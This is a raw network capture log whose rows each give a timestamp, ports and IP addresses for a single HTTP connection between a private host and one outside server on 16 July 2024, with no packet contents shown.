Jul 16, 2024 22:29:52.541938066 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.541960001 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.541996002 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.542006016 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.543737888 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.543771982 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.543792963 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.543808937 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.543857098 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.543863058 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.543904066 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.543936968 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.543948889 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.543972969 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.544009924 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.544019938 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.544044018 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.544090986 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.544097900 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.544132948 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.544167042 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.544178963 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.544199944 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.544235945 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.544245005 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.544410944 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.544426918 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.544441938 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.544452906 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.544459105 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.544487000 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.547749996 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.547765970 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.547781944 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.547796965 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.547797918 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.547815084 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.547821045 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.547831059 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.547857046 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.547857046 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.547873020 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.547888041 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.547899961 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.547903061 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.547918081 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.547925949 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.547934055 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.547950029 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.547960997 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.547966003 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.547981977 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.547990084 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.547998905 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.548024893 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.548229933 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.548245907 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.548260927 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.548271894 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.548276901 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.548294067 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.548300028 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.548310995 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.548336983 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.548401117 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.548417091 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.548432112 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.548440933 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.548449039 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.548465967 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.548472881 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.548487902 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.548502922 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.548504114 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.548521042 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.548537016 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.548546076 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.548553944 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.548569918 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.548578978 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.548587084 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.548604012 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.548613071 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.548640013 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.548835993 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.548851013 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.548877001 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.548893929 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.548902988 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.548909903 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.548934937 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.548952103 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.548966885 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.548983097 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.548995018 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.548999071 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.549014091 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.549020052 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.549031019 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.549046993 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.549052954 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.549063921 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.549078941 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.549086094 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.549098015 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.549124002 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.603533030 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.628803015 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.628842115 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.628899097 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.628935099 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.628968000 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.628993034 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.629003048 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.629021883 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.629040956 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.629066944 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.629118919 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.629169941 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.629393101 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.629426956 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.629462957 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.629475117 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.629534006 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.629568100 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.629581928 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.629602909 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.629637957 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.629656076 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.629689932 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.629724026 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.629739046 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.629757881 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.629791975 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.629805088 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.629826069 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.629878998 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.630057096 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.630089998 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.630125046 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.630140066 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.630158901 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.630194902 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.630204916 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.630228043 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.630279064 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.630284071 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.630317926 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.630356073 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.630364895 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.630394936 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.630445004 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.630445957 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.630479097 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.630511999 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.630527020 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.630544901 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.630579948 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.630593061 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.630614042 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.630647898 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.630661964 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.630682945 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.630729914 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.630779028 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.630812883 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.630846024 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.630860090 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.630880117 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.630913973 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.630925894 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.630948067 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.630981922 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.630999088 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.631016016 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.631063938 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.631417990 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.631452084 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.631485939 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.631500959 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.631519079 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.631552935 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.631565094 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.631586075 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.631619930 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.631633997 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.631652117 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.631685972 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.631700993 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.631719112 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.631753922 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.631767035 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.631788015 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.631830931 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.633132935 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.633167028 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.633219957 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.633219957 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.633253098 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.633290052 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.633301020 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.633328915 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.633363008 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.633379936 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.633397102 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.633430958 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.633440018 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.633466005 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.633512974 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.633577108 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.633610010 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.633644104 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.633656025 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.633682966 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.633718967 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.633732080 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.633769989 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.633804083 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.633817911 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.633838892 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.633872986 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.633888006 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.634016037 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.634049892 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.634068012 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.634084940 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.634119034 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.634133101 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.634151936 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.634186029 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.634200096 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.634298086 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.634330988 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.634346962 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.634367943 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.634402990 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.634418964 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.634455919 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.634490013 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.634510040 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.634524107 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.634557962 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.634571075 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.634592056 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.634640932 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.634645939 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.634680033 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.634713888 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.634747982 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.634754896 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.634782076 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.634794950 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.634815931 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.634849072 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.634857893 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.634885073 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.634917974 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.634934902 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.634964943 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.634999990 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.635018110 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.635035038 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.635086060 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.635118961 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.635153055 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.635185957 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.635200024 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.635219097 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.635252953 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.635267019 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.635287046 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.635319948 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.635337114 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.635354042 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.635392904 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.635401964 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.681638002 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.717626095 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.717711926 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.717802048 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.717822075 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.717839003 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.717874050 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.717892885 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.717909098 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.717946053 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.717950106 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.717983007 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.718029976 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.718034029 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.718063116 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.718105078 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.718113899 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.718175888 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.718209982 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.718228102 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.718245029 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.718296051 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.718441010 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.718477964 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.718511105 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.718528032 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.718564987 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.718600988 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.718616009 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.718633890 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.718667030 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.718682051 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.718700886 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.718734026 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.718744040 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.718785048 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.718818903 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.718831062 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.718853951 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.718890905 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.718909025 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.718924999 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.718957901 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.718972921 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.718992949 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.719027042 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.719041109 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.719109058 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.719141960 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.719161034 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.719176054 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.719209909 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.719223022 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.719244957 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.719296932 CEST	49730	80	192.168.2.4	23.227.193.59
Jul 16, 2024 22:29:52.719513893 CEST	80	49730	23.227.193.59	192.168.2.4
Jul 16, 2024 22:29:52.719547987 CEST	80	49730	23.227.193.59	192.168.2.4
